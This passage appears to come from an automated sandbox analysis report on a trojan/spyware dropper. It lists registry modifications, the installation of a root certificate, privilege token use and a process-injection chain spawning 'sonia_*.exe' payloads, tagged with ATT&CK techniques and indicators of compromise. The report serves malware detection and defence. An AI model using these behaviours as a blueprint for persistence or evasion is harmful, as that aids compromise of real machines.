Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "395205405"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\SettingsVersion = "2"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-0876022 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IETld\LowMic	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Extensible Cache	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{WW6060MI-ED3Y-MI7M-57W2-EJZ5M77G1X0K}	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S}\1 = "5712"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\InternetRegistry	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DontShowMeThisDialogAgain	MicrosoftEdge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{WW6060MI-ED3Y-MI7M-57W2-EJZ5M77G1X0K}\1 = "4436"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 301bd569d72dd701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Revision = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites\Order = 0c0000000a000000000000000c0000000100000000000000	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 26e92598a47dd701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\DetectPhoneNumberCompletedV = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PageSetup	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{TV2553ZI-PZ3Y-VP7M-68Y0-MJT9X67Z6U7M}	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EL1681II-FO1F-AN2G-81K3-DNI5R86H5R6K}\1 = "2302"	rundll32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{IY7880QH-GQ0R-SG6F-75Z5-PGQ2S76C3D6F}\7289246C77593EBF\2 = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = 01000000a85b7f5cca2bf9d15a073e3d9d9088d8e8a0cd6efe6b4035c71612c175f24ecf71cbf26171fca7ba72359664e426b0585b7f0f3b53f126553d272784b8e0f5ff4ca0d3bb199ee2e37cf0ce605859dadf443a20fb20fdcfe4e5b0	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\AdapterInfo = "vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.0\"hypervisor=\"No Hypervisor (No SLAT)\""	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\SmartScreenCompletedVersion = "1"	MicrosoftEdge.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

2JQqbPdiKsiWnxpeNbpUpi6B.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	2JQqbPdiKsiWnxpeNbpUpi6B.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	2JQqbPdiKsiWnxpeNbpUpi6B.exe

Runs .reg file with regedit 2 IoCs

Processes:

regedit.exeregedit.exe

pid process

60 regedit.exe
5236 regedit.exe
Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXE

pid process

6088 PING.EXE
5124 PING.EXE

pid	process
60	regedit.exe
5236	regedit.exe

pid	process
6088	PING.EXE
5124	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

sonia_2.exerundll32.exesvchost.exe

pid	process
3200	sonia_2.exe
3200	sonia_2.exe
3288	rundll32.exe
3288	rundll32.exe
3164	svchost.exe
3164	svchost.exe
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388
388

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

388
Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

sonia_2.exeMicrosoftEdgeCP.exeSensitive.exe.comAcre.exe.com

pid process

3200 sonia_2.exe
5900 MicrosoftEdgeCP.exe
5900 MicrosoftEdgeCP.exe
2660 Sensitive.exe.com
5636 Acre.exe.com

pid	process
388

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

sonia_4.exerundll32.exesvchost.exesmNF9eMnygKNLJQIYGK5KL6w.exe

description	pid	process
Token: SeDebugPrivilege	4016	sonia_4.exe
Token: SeDebugPrivilege	3288	rundll32.exe
Token: SeDebugPrivilege	3164	svchost.exe
Token: SeDebugPrivilege	3288	rundll32.exe
Token: SeDebugPrivilege	3288	rundll32.exe
Token: SeDebugPrivilege	3288	rundll32.exe
Token: SeDebugPrivilege	3288	rundll32.exe
Token: SeDebugPrivilege	3288	rundll32.exe
Token: SeDebugPrivilege	3288	rundll32.exe
Token: SeShutdownPrivilege	388
Token: SeCreatePagefilePrivilege	388
Token: SeCreateTokenPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeAssignPrimaryTokenPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeLockMemoryPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeIncreaseQuotaPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeMachineAccountPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeTcbPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeSecurityPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeTakeOwnershipPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeLoadDriverPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeSystemProfilePrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeSystemtimePrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeProfSingleProcessPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeIncBasePriorityPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeCreatePagefilePrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeCreatePermanentPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeBackupPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeRestorePrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeShutdownPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeDebugPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeAuditPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeSystemEnvironmentPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeChangeNotifyPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeRemoteShutdownPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeUndockPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeSyncAgentPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeEnableDelegationPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeManageVolumePrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeImpersonatePrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeCreateGlobalPrivilege	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: 31	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: 32	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: 33	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: 34	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: 35	4888	smNF9eMnygKNLJQIYGK5KL6w.exe
Token: SeDebugPrivilege	3288	rundll32.exe
Token: SeShutdownPrivilege	388
Token: SeCreatePagefilePrivilege	388
Token: SeShutdownPrivilege	388
Token: SeCreatePagefilePrivilege	388
Token: SeShutdownPrivilege	388
Token: SeCreatePagefilePrivilege	388
Token: SeShutdownPrivilege	388
Token: SeCreatePagefilePrivilege	388
Token: SeDebugPrivilege	3288	rundll32.exe
Token: SeDebugPrivilege	3288	rundll32.exe
Token: SeShutdownPrivilege	388
Token: SeCreatePagefilePrivilege	388
Token: SeDebugPrivilege	3288	rundll32.exe
Token: SeShutdownPrivilege	388
Token: SeCreatePagefilePrivilege	388
Token: SeShutdownPrivilege	388
Token: SeCreatePagefilePrivilege	388
Token: SeDebugPrivilege	3288	rundll32.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

pid process

388
388
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exe

pid process

388
6060 MicrosoftEdge.exe
5900 MicrosoftEdgeCP.exe
5900 MicrosoftEdgeCP.exe
Suspicious use of UnmapMainImage 1 IoCs

Processes:

pid process

388

pid	process
388
388

pid	process
388
6060	MicrosoftEdge.exe
5900	MicrosoftEdgeCP.exe
5900	MicrosoftEdgeCP.exe

pid	process
388

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

8 (14).exesetup_installer.exesetup_install.execmd.execmd.execmd.exeOLKbrowser.execmd.execmd.exepQNLur0kwnP3xdTnz626ev0W.exesonia_6.exesonia_4.exerUNdlL32.eXerundll32.exeLzmwAqmV.exesvchost.exe

description	pid	process	target process
PID 512 wrote to memory of 2444	512	8 (14).exe	setup_installer.exe
PID 512 wrote to memory of 2444	512	8 (14).exe	setup_installer.exe
PID 512 wrote to memory of 2444	512	8 (14).exe	setup_installer.exe
PID 2444 wrote to memory of 3424	2444	setup_installer.exe	setup_install.exe
PID 2444 wrote to memory of 3424	2444	setup_installer.exe	setup_install.exe
PID 2444 wrote to memory of 3424	2444	setup_installer.exe	setup_install.exe
PID 3424 wrote to memory of 3492	3424	setup_install.exe	OLKbrowser.exe
PID 3424 wrote to memory of 3492	3424	setup_install.exe	OLKbrowser.exe
PID 3424 wrote to memory of 3492	3424	setup_install.exe	OLKbrowser.exe
PID 3424 wrote to memory of 3284	3424	setup_install.exe	cmd.exe
PID 3424 wrote to memory of 3284	3424	setup_install.exe	cmd.exe
PID 3424 wrote to memory of 3284	3424	setup_install.exe	cmd.exe
PID 3424 wrote to memory of 3296	3424	setup_install.exe	cmd.exe
PID 3424 wrote to memory of 3296	3424	setup_install.exe	cmd.exe
PID 3424 wrote to memory of 3296	3424	setup_install.exe	cmd.exe
PID 3424 wrote to memory of 64	3424	setup_install.exe	cmd.exe
PID 3424 wrote to memory of 64	3424	setup_install.exe	cmd.exe
PID 3424 wrote to memory of 64	3424	setup_install.exe	cmd.exe
PID 3424 wrote to memory of 3920	3424	setup_install.exe	cmd.exe
PID 3424 wrote to memory of 3920	3424	setup_install.exe	cmd.exe
PID 3424 wrote to memory of 3920	3424	setup_install.exe	cmd.exe
PID 3424 wrote to memory of 1340	3424	setup_install.exe	cmd.exe
PID 3424 wrote to memory of 1340	3424	setup_install.exe	cmd.exe
PID 3424 wrote to memory of 1340	3424	setup_install.exe	cmd.exe
PID 3424 wrote to memory of 2068	3424	setup_install.exe	cmd.exe
PID 3424 wrote to memory of 2068	3424	setup_install.exe	cmd.exe
PID 3424 wrote to memory of 2068	3424	setup_install.exe	cmd.exe
PID 64 wrote to memory of 4016	64	cmd.exe	sonia_4.exe
PID 64 wrote to memory of 4016	64	cmd.exe	sonia_4.exe
PID 3284 wrote to memory of 3200	3284	cmd.exe	sonia_2.exe
PID 3284 wrote to memory of 3200	3284	cmd.exe	sonia_2.exe
PID 3284 wrote to memory of 3200	3284	cmd.exe	sonia_2.exe
PID 3296 wrote to memory of 2260	3296	cmd.exe	sonia_3.exe
PID 3296 wrote to memory of 2260	3296	cmd.exe	sonia_3.exe
PID 3296 wrote to memory of 2260	3296	cmd.exe	sonia_3.exe
PID 3492 wrote to memory of 1096	3492	OLKbrowser.exe	sonia_1.exe
PID 3492 wrote to memory of 1096	3492	OLKbrowser.exe	sonia_1.exe
PID 3492 wrote to memory of 1096	3492	OLKbrowser.exe	sonia_1.exe
PID 3920 wrote to memory of 3808	3920	cmd.exe	sonia_5.exe
PID 3920 wrote to memory of 3808	3920	cmd.exe	sonia_5.exe
PID 3920 wrote to memory of 3808	3920	cmd.exe	sonia_5.exe
PID 1340 wrote to memory of 2388	1340	cmd.exe	sonia_6.exe
PID 1340 wrote to memory of 2388	1340	cmd.exe	sonia_6.exe
PID 1340 wrote to memory of 2388	1340	cmd.exe	sonia_6.exe
PID 1096 wrote to memory of 3832	1096	pQNLur0kwnP3xdTnz626ev0W.exe	sonia_1.exe
PID 1096 wrote to memory of 3832	1096	pQNLur0kwnP3xdTnz626ev0W.exe	sonia_1.exe
PID 1096 wrote to memory of 3832	1096	pQNLur0kwnP3xdTnz626ev0W.exe	sonia_1.exe
PID 2388 wrote to memory of 2064	2388	sonia_6.exe	jfiag3g_gg.exe
PID 2388 wrote to memory of 2064	2388	sonia_6.exe	jfiag3g_gg.exe
PID 2388 wrote to memory of 2064	2388	sonia_6.exe	jfiag3g_gg.exe
